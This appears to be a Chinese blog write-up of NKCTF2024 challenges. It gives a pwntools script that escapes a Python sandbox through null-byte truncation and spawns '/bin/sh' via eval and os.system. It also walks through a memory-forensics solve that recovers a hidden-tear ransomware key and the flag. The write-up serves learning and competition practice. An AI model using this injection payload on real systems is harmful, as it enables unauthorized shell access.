NKCTF2024

MISC

ex1t

根据空白的提示中的 “c 的标准” ,很自然想到 “\x00” 字符截断,测试发现 python 执行脚本时某行中间如果出现 “\x00” ,这一行后面的就被舍弃(包括换行),直接和下一行拼接。所以可以将三引号用 “\x00\n” 分隔。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import sys

LOCAL = len(sys.argv) == 1
if LOCAL:
p = process('python3 ./chal.py'.split(' '))
else:
p = remote(sys.argv[1], int(sys.argv[2]))

p.sendlineafter(b'> \n', b"'\x00\n''\neval(input())\n'\x00\n''")

p.sendline(b"--NKCTF2024")

import time
time.sleep(1)

p.sendline(b'print(__import__("os").system("/bin/sh"))')

p.interactive()

经过试验,发现python3.6版本可以,3.9及以上版本不行

world.execute.me

payload

1
echo $HEART

ba4a285804b556b829e6cf944cd87d8

68c44a510337297ee17d31c0de99c7e

Forensics

Cain_is_hacker

先查看镜像类型

1
python2 vol.py -f ez.raw imageinfo

image-20240328185428904

得到了镜像类型,先去常规搜索一下文件

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 filescan | grep -e ".txt" -e ".png" -e ".rar" -e ".zip" -e ".jpg"

image-20240328185822943

导出这个可疑文件查看一下

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000002d08f20 --dump-dir=./

image-20240328190338864

解压得到两个文件

image-20240328190615454

看一下importfile

image-20240328190903430

可以知道是EncFS加密过后的文件,要去获得密钥解密

查看一下进程

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 pslist

image-20240328191139992

得到了可疑的win7便笺文件,去dump下来

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 filescan | grep -e "StickyNotes"

image-20240328191531895

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000002dfd070 --dump-dir=./

在win7的C:\Users\qetx\AppData\Roaming\Microsoft\Sticky Notes路径下用dump下来的文件重命名成StickyNotes.snt,放在该目录下,再启动win7的便笺程序就可以了(这边注意AppData文件夹是隐藏文件,要关闭查看隐藏)

image-20240328234211594

6GMtDa2H7uy7mLLi75A9QqfwbwUSVGKDQW1ot41U1ptKr5MCoXscSRDWb9nSQZUYefiMWH99Xu7zaXejrp3A9fUdx5VWRjpypcUhCEgh3zgbsRmvWJjEnRMfosBxxwbXLc

解密得到:Cute cain reminds you that you may use the following key welcome_to_NkCTF_and_this_is_the_enkey

将importfile重命名成.encfs6.xml,用encfs mp去挂载

image-20240329132813574

看到挂载成功

image-20240329132840114

得到一个ez.xlsx

打开发现报错,用010查看发现宏特征

image-20240329133215690

用oletools工具去查看宏代码

1
python olevba.py F:\CTF\MISC\oletools宏加密\oletools-0.60.1\ez.xlsx

image-20240329134228278

得到base64字符串,拿去解密

image-20240329134322917

得到一个文件,保存一下,接下来就要解密这个文件

image-20240329135100878

去镜像里恢复密钥文件

mftparser: 这是 vol.py 工具的一个插件,用于解析 Master File Table (MFT)。MFT 是 NTFS 文件系统中的一个关键数据结构,用于存储文件和目录的元数据。

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 mftparser > mftparser.txt
1
strings mftparser.txt| grep "key" -A10 -B10

grep "key" -A10 -B10 是一个命令,用于在文件中搜索字符串 “key”,并打印出每个匹配行的前 10 行(-B10)和后 10 行(-A10)。

image-20240329144849555

找到key:nT0XoHBA2!Uc?

再去找加密软件,查看控制台信息

1
python2 vol.py -f ez.raw --profile=Win7SP1x64 consoles

image-20240329145308148

得到了加密软件hidden-tear.exe,去网上找一下

解密的时候注意把原来的文件名改成.locked结尾的文件,放在和解密程序同一个文件夹下

image-20240329151559101

image-20240329151607227

解密成功

image-20240329151701635

NKCTF{C0ngr@tu1atiOns_On_coMpleting_t3e_Fo3eNs1cs_Ch41lenge_I_wi1l_giv4_y0u_A_cain!!!!}


NKCTF2024
http://www.qetx.top/posts/65492/
作者
Qetx.Jul.27
发布于
2024年3月23日
许可协议